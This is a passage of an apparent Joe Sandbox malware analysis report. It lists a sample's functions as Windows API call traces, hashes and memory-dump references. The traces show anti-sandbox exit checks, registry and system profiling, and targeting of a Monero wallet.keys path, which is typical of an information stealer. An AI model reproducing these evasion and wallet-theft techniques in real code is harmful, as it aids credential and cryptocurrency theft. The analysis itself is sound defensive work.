Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: b9f8738676d6e013910ce6f62364f475f9c7f1abb315a44f8c4745b57295ce13
Instruction ID: a55a4bae599a38e1f949f4f8ac6a50014d65c7ccdb2ab51ff00842ed78f0b621
Opcode Fuzzy Hash: b9f8738676d6e013910ce6f62364f475f9c7f1abb315a44f8c4745b57295ce13
Instruction Fuzzy Hash: 5A3128B4E04218ABDB20CF54DD85BDCB7B4EB48704F1081D9E609A7280DBB46AC5CF99

Function 007883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00788426
wsprintfA.USER32 ref: 00788459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0078847B
RegCloseKey.ADVAPI32(00000000), ref: 0078848C
RegCloseKey.ADVAPI32(00000000), ref: 00788499

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

RegQueryValueExA.KERNEL32(00000000,014BDDA8,00000000,000F003F,?,00000400), ref: 007884EC
lstrlen.KERNEL32(?), ref: 00788501
RegQueryValueExA.KERNEL32(00000000,014BDD00,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00790B34), ref: 00788599
RegCloseKey.KERNEL32(00000000), ref: 00788608
RegCloseKey.ADVAPI32(00000000), ref: 0078861A

Strings

%s\%s, xrefs: 0078844D

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: bd797969b0e855959774ee7419744540787088ca05159c1ad8000e91c5e16664
Instruction ID: 6416b2f3e6c5539c366a8e975dd12da7ffedf0fd90d62958629b1a938805f875
Opcode Fuzzy Hash: bd797969b0e855959774ee7419744540787088ca05159c1ad8000e91c5e16664
Instruction Fuzzy Hash: A92139B1A54218ABDB64DB54DC85FE9B3B8FB48710F00C2D8E609A6140DF75AA81CFE5

Function 00787690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007876A4
RtlAllocateHeap.NTDLL(00000000), ref: 007876AB
RegOpenKeyExA.KERNEL32(80000002,014AB7E0,00000000,00020119,00000000), ref: 007876DD
RegQueryValueExA.KERNEL32(00000000,014BDCD0,00000000,00000000,?,000000FF), ref: 007876FE
RegCloseKey.ADVAPI32(00000000), ref: 00787708

Strings

Windows 11, xrefs: 007876BD

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: f3c1c8892f0821982c9e23d570d5c97c3c33c215ed3297f075375657e9b559dd
Instruction ID: ca347bfbbb7a484c88732f71913c4c749924aeaa86113a474daa7ecc68e3c5c1
Opcode Fuzzy Hash: f3c1c8892f0821982c9e23d570d5c97c3c33c215ed3297f075375657e9b559dd
Instruction Fuzzy Hash: 6101A2B4A58304BFDB00EBE0DE4DF6DB7B8EB48711F104154FA05D7290EA749900DB51

Function 00787720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787734
RtlAllocateHeap.NTDLL(00000000), ref: 0078773B
RegOpenKeyExA.KERNEL32(80000002,014AB7E0,00000000,00020119,007876B9), ref: 0078775B
RegQueryValueExA.KERNEL32(007876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0078777A
RegCloseKey.ADVAPI32(007876B9), ref: 00787784

Strings

CurrentBuildNumber, xrefs: 00787771

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 5cd4e3b30f863feee3ba0ba317709338cc48bc7cea9d1202ede05c50aad8501a
Instruction ID: a961f138e8efd7fa2de35f5183dee89a857e0a5b609f81f3ac538b79d980b141
Opcode Fuzzy Hash: 5cd4e3b30f863feee3ba0ba317709338cc48bc7cea9d1202ede05c50aad8501a
Instruction Fuzzy Hash: A50167B5E54308BFDB00DBE0DD49FAEB7B8EB44710F104154FA05A7281DA745500DB91

Function 007869F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B06F0), ref: 007898A1
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0630), ref: 007898BA
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0738), ref: 007898D2
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B05A0), ref: 007898EA
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0750), ref: 00789903
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B8A10), ref: 0078991B
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014A6640), ref: 00789933
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014A6600), ref: 0078994C
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0570), ref: 00789964
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B05E8), ref: 0078997C
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0600), ref: 00789995
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0648), ref: 007899AD
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014A6480), ref: 007899C5
Part of subcall function 00789860: GetProcAddress.KERNEL32(75900000,014B0768), ref: 007899DE

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 007711D0: ExitProcess.KERNEL32 ref: 00771211

Part of subcall function 00771160: GetSystemInfo.KERNEL32(?), ref: 0077116A
Part of subcall function 00771160: ExitProcess.KERNEL32 ref: 0077117E

Part of subcall function 00771110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0077112B
Part of subcall function 00771110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00771132
Part of subcall function 00771110: ExitProcess.KERNEL32 ref: 00771143

Part of subcall function 00771220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0077123E
Part of subcall function 00771220: __aulldiv.LIBCMT ref: 00771258
Part of subcall function 00771220: __aulldiv.LIBCMT ref: 00771266
Part of subcall function 00771220: ExitProcess.KERNEL32 ref: 00771294

Part of subcall function 00786770: GetUserDefaultLangID.KERNEL32 ref: 00786774

Part of subcall function 00771190: ExitProcess.KERNEL32 ref: 007711C6

Part of subcall function 00787850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007711B7), ref: 00787880
Part of subcall function 00787850: RtlAllocateHeap.NTDLL(00000000), ref: 00787887
Part of subcall function 00787850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0078789F

Part of subcall function 007878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787910
Part of subcall function 007878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00787917
Part of subcall function 007878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0078792F

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014B8A80,?,0079110C,?,00000000,?,00791110,?,00000000,00790AEF), ref: 00786ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00786AE8
CloseHandle.KERNEL32(00000000), ref: 00786AF9
Sleep.KERNEL32(00001770), ref: 00786B04
CloseHandle.KERNEL32(?,00000000,?,014B8A80,?,0079110C,?,00000000,?,00791110,?,00000000,00790AEF), ref: 00786B1A
ExitProcess.KERNEL32 ref: 00786B22

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 25130ca5ddc94957512f9c10a0031f68592cdbd0d81782780400355ddbd1a477
Instruction ID: 24d9fe55fa50293eeb556da589d1a44ec2a988ce7e11c609e10ebdc1352fbc2c
Opcode Fuzzy Hash: 25130ca5ddc94957512f9c10a0031f68592cdbd0d81782780400355ddbd1a477
Instruction Fuzzy Hash: 02312A71994208FAEB05FBE0DC5EBEE7778AF04340F508529F212A6192DF7C6905D7A2

Function 007799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00779A11
LocalAlloc.KERNEL32(00000040,?), ref: 00779A31
ReadFile.KERNEL32(000000FF,?,00000000,0077148F,00000000), ref: 00779A5A
LocalFree.KERNEL32(0077148F), ref: 00779A90
CloseHandle.KERNEL32(000000FF), ref: 00779A9A

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 748f4a1e7f38c5d5d746b0a2c10211942937c741f1eeac5c79a5886a754f434d
Instruction ID: 96925ab3b8414295abee328d7aaf52e97c356ac54fa2768ad8f1c7c18618b28e
Opcode Fuzzy Hash: 748f4a1e7f38c5d5d746b0a2c10211942937c741f1eeac5c79a5886a754f434d
Instruction Fuzzy Hash: 763127B4A02209EFDF14CFA4C989BAE77B5FF48350F10C158E905A7290D778AA41CFA1

Function 00784780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,014BDE68), ref: 007847DB

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

lstrcat.KERNEL32(?,00000000), ref: 00784801
lstrcat.KERNEL32(?,?), ref: 00784820
lstrcat.KERNEL32(?,?), ref: 00784834
lstrcat.KERNEL32(?,014AAFA0), ref: 00784847
lstrcat.KERNEL32(?,?), ref: 0078485B
lstrcat.KERNEL32(?,014BD438), ref: 0078486F

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 00788D90: GetFileAttributesA.KERNEL32(00000000,?,00771B54,?,?,0079564C,?,?,00790E1F), ref: 00788D9F

Part of subcall function 00784570: GetProcessHeap.KERNEL32(00000000,ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br), ref: 00784580
Part of subcall function 00784570: RtlAllocateHeap.NTDLL(00000000), ref: 00784587
Part of subcall function 00784570: wsprintfA.USER32 ref: 007845A6
Part of subcall function 00784570: FindFirstFileA.KERNEL32(?,?), ref: 007845BD

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
